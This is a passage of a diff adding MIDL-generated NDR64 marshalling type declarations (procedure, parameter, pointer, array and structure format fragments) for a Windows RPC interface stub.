+{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1212_t; +extern const __midl_frag1212_t __midl_frag1212; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1205_t; +extern const __midl_frag1205_t __midl_frag1205; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1203_t; +extern const __midl_frag1203_t __midl_frag1203; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1202_t; +extern const __midl_frag1202_t __midl_frag1202; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1201_t; +extern const __midl_frag1201_t __midl_frag1201; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1198_t; +extern const __midl_frag1198_t __midl_frag1198; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; +} +__midl_frag1194_t; +extern const __midl_frag1194_t __midl_frag1194; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + } frag2; +} +__midl_frag1188_t; +extern const __midl_frag1188_t __midl_frag1188; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1187_t; +extern const __midl_frag1187_t __midl_frag1187; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1186_t; +extern const __midl_frag1186_t __midl_frag1186; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1181_t; +extern const __midl_frag1181_t __midl_frag1181; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1180_t; +extern const __midl_frag1180_t __midl_frag1180; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1179_t; +extern const __midl_frag1179_t __midl_frag1179; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1178_t; +extern const __midl_frag1178_t __midl_frag1178; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1173_t; +extern const __midl_frag1173_t __midl_frag1173; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; +} +__midl_frag1169_t; +extern const __midl_frag1169_t __midl_frag1169; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag1164_t; +extern const __midl_frag1164_t __midl_frag1164; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1163_t; +extern const __midl_frag1163_t __midl_frag1163; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1162_t; +extern const __midl_frag1162_t __midl_frag1162; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1160_t; +extern const __midl_frag1160_t __midl_frag1160; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1156_t; +extern const __midl_frag1156_t __midl_frag1156; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1155_t; +extern const __midl_frag1155_t __midl_frag1155; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1154_t; +extern const __midl_frag1154_t __midl_frag1154; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1142_t; +extern const __midl_frag1142_t __midl_frag1142; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1141_t; +extern const __midl_frag1141_t __midl_frag1141; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1139_t; +extern const __midl_frag1139_t __midl_frag1139; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1130_t; +extern const __midl_frag1130_t __midl_frag1130; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1122_t; +extern const __midl_frag1122_t __midl_frag1122; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1112_t; +extern const __midl_frag1112_t __midl_frag1112; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1100_t; +extern const __midl_frag1100_t __midl_frag1100; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1098_t; +extern const __midl_frag1098_t __midl_frag1098; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1097_t; +extern const __midl_frag1097_t __midl_frag1097; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1096_t; +extern const __midl_frag1096_t __midl_frag1096; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1093_t; +extern const __midl_frag1093_t __midl_frag1093; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1088_t; +extern const __midl_frag1088_t __midl_frag1088; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1087_t; +extern const __midl_frag1087_t __midl_frag1087; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1086_t; +extern const __midl_frag1086_t __midl_frag1086; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1082_t; +extern const __midl_frag1082_t __midl_frag1082; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1078_t; +extern const __midl_frag1078_t __midl_frag1078; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1077_t; +extern const __midl_frag1077_t __midl_frag1077; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1076_t; +extern const __midl_frag1076_t __midl_frag1076; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1065_t; +extern const __midl_frag1065_t __midl_frag1065; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1061_t; +extern const __midl_frag1061_t __midl_frag1061; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1055_t; +extern const __midl_frag1055_t __midl_frag1055; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_BUFFER_ALIGN_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + } frag2; +} +__midl_frag1051_t; +extern const __midl_frag1051_t __midl_frag1051; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1050_t; +extern const __midl_frag1050_t __midl_frag1050; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1049_t; +extern const __midl_frag1049_t __midl_frag1049; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1040_t; +extern const __midl_frag1040_t __midl_frag1040; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1035_t; +extern const __midl_frag1035_t __midl_frag1035; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1032_t; +extern const __midl_frag1032_t __midl_frag1032; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1028_t; +extern const __midl_frag1028_t __midl_frag1028; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1026_t; +extern const __midl_frag1026_t __midl_frag1026; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1025_t; +extern const __midl_frag1025_t __midl_frag1025; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_MEMPAD_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag1023_t; +extern const __midl_frag1023_t __midl_frag1023; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1022_t; +extern const __midl_frag1022_t __midl_frag1022; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1021_t; +extern const __midl_frag1021_t __midl_frag1021; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1018_t; +extern const __midl_frag1018_t __midl_frag1018; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1014_t; +extern const __midl_frag1014_t __midl_frag1014; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1012_t; +extern const __midl_frag1012_t __midl_frag1012; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1007_t; +extern const __midl_frag1007_t __midl_frag1007; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1006_t; +extern const __midl_frag1006_t __midl_frag1006; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1005_t; +extern const __midl_frag1005_t __midl_frag1005; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1003_t; +extern const __midl_frag1003_t __midl_frag1003; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag998_t; +extern const __midl_frag998_t __midl_frag998; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag997_t; +extern const __midl_frag997_t __midl_frag997; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag996_t; +extern const __midl_frag996_t __midl_frag996; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag995_t; +extern const __midl_frag995_t __midl_frag995; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag985_t; +extern const __midl_frag985_t __midl_frag985; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag980_t; +extern const __midl_frag980_t __midl_frag980; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag976_t; +extern const __midl_frag976_t __midl_frag976; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag975_t; +extern const __midl_frag975_t __midl_frag975; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag969_t; +extern const __midl_frag969_t __midl_frag969; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag965_t; +extern const __midl_frag965_t __midl_frag965; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag964_t; +extern const __midl_frag964_t __midl_frag964; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + NDR64_UINT32 frag10; +} +__midl_frag963_t; +extern const __midl_frag963_t __midl_frag963; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag962_t; +extern const __midl_frag962_t __midl_frag962; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag961_t; +extern const __midl_frag961_t __midl_frag961; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag958_t; +extern const __midl_frag958_t __midl_frag958; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag952_t; +extern const __midl_frag952_t __midl_frag952; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag950_t; +extern const __midl_frag950_t __midl_frag950; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag949_t; +extern const __midl_frag949_t __midl_frag949; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag939_t; +extern const __midl_frag939_t __midl_frag939; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag938_t; +extern const __midl_frag938_t __midl_frag938; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag936_t; +extern const __midl_frag936_t __midl_frag936; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag929_t; +extern const __midl_frag929_t __midl_frag929; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag928_t; +extern const __midl_frag928_t __midl_frag928; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag927_t; +extern const __midl_frag927_t __midl_frag927; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag926_t; +extern const __midl_frag926_t __midl_frag926; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag925_t; +extern const __midl_frag925_t __midl_frag925; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_MEMPAD_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + } frag2; +} +__midl_frag922_t; +extern const __midl_frag922_t __midl_frag922; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag921_t; +extern const __midl_frag921_t __midl_frag921; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag920_t; +extern const __midl_frag920_t __midl_frag920; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + } frag2; +} +__midl_frag917_t; +extern const __midl_frag917_t __midl_frag917; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag916_t; +extern const __midl_frag916_t __midl_frag916; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag912_t; +extern const __midl_frag912_t __midl_frag912; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag911_t; +extern const __midl_frag911_t __midl_frag911; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag910_t; +extern const __midl_frag910_t __midl_frag910; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag909_t; +extern const __midl_frag909_t __midl_frag909; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag906_t; +extern const __midl_frag906_t __midl_frag906; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag905_t; +extern const __midl_frag905_t __midl_frag905; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag904_t; +extern const __midl_frag904_t __midl_frag904; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; +} +__midl_frag903_t; +extern const __midl_frag903_t __midl_frag903; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct 